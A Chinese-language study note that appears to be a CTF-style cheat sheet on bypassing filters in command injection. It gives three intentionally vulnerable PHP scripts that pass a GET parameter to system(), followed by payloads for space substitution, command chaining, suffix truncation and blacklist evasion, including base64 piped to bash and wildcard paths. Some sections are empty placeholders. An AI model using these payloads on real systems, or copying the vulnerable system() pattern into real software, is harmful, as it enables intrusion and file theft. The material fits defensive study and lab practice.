https://www.jianshu.com/p/5e505e3d8075
http://www.4hou.com/reverse/5643.html
cmd1.php
<?php
$cmd=$_GET['cmd'];
echo "執行的語句:";
echo $cmd;
echo "<br>執行結果:";
system($cmd);
?>
首先隨便試試?cmd=ls,正常顯示。
1 空格的過濾
1.1 $IFS
?cmd=cat$IFSkey
1.2 >或者<>
?cmd=cat>key ?cmd=cat<>key
1.3 %09(php環境下)
?cmd=cat%09key
2 多條命令執行,且有前綴
有時候會出現這種代碼
cmd2.php
<?php
$cmd=$_GET['cmd'];
echo "執行的語句:";
$var='curl '.$cmd;
echo $var;
echo "<br>執行結果:";
system($var);
?>
可以把它理解為curl在線使用吧。?cmd=www.baidu.com,結果如下圖
直接打ls等系統命令就會出錯,因為執行的命令前邊始終有個curl。
2.1 分號;
?cmd=www.baidu.com;ls 值得注意的是ls執行的內容會在網頁最下邊才能看到。
2.2 &,&&,|,||
這幾個指令有區別,懶得寫了,直接截圖
2.3 換行符%0a(php環境)
這個怎么個用法呢,先看這條?cmd=%0als 發現是可以正常執行ls的,那么curl呢? 換行符讓curl孤單的成為一條語句,ls成為一條孤獨的語句,所以就繞過了curl后邊加網址的限制。
3 存在后綴需要消除后邊的影響
cmd3.php
<?php
$cmd=$_GET['cmd'];
echo "執行的語句:";
$var='curl www.'.$cmd.".com";
echo $var;
echo "<br>執行結果:";
//system($cmd);
system($var);
?>
這次把后邊也堵上了,所以要用到類似於sql注入中#的截斷作用的字符。
3.1 %00(需要php環境)
?cmd=;ls%00 正常執行ls,原來命令時ls.com,加入%00后,.com就沒了
3.2 %20%23
?cmd=;ls%20%23
4. 黑名單繞過
4.1 拼接
?cmd=a=c;b=at;c=key;$a$b $c
4.2 base64編碼
?cmd=ls ?cmd=echo "bHM="|base64 -d|bash
4.3 單雙引號
?cmd=cat key ?cmd=ca""t k''ey
4.4 反斜杠
?cmd=cat key ?cmd=c\a\t k\e\y
4.5 通配符* ?
一個?代表一個字符,*代表若干字符。 其實早就有通配符繞過英文數字的限制提權了。 ?cmd=/bin/cat key ?cmd=/???/??? ??? 我也不知道他到底執行的什么命令,不過肯定有/bin/cat key這一條 內容很多,最好是結合字母 /bi?/ca? ?ey
4.6 繞過ip中的.,雖然不知道有啥用,先記下來。
http://www.msxindl.com/tools/ip/ip_num.asp
4.7沒看,順手抄下來,看win下干嘛。。。
4.8 無回顯,還沒看,看到整理下來,順便也學一下。
4.9 突破長度限制
5.構造字符 利用expr
這個其實是黑名單繞過的,但是我覺得很妙,就把它單獨拿出來說了。
可以從文件中或者環境變量獲取某些字符
可以用export查看一些環境變量,而$pwd這個第一個字符一定是/ expr substr $PWD 1 1(輸出為) export可以查看變量 如果過濾了一下字符,可以沖這些變量中拼湊出來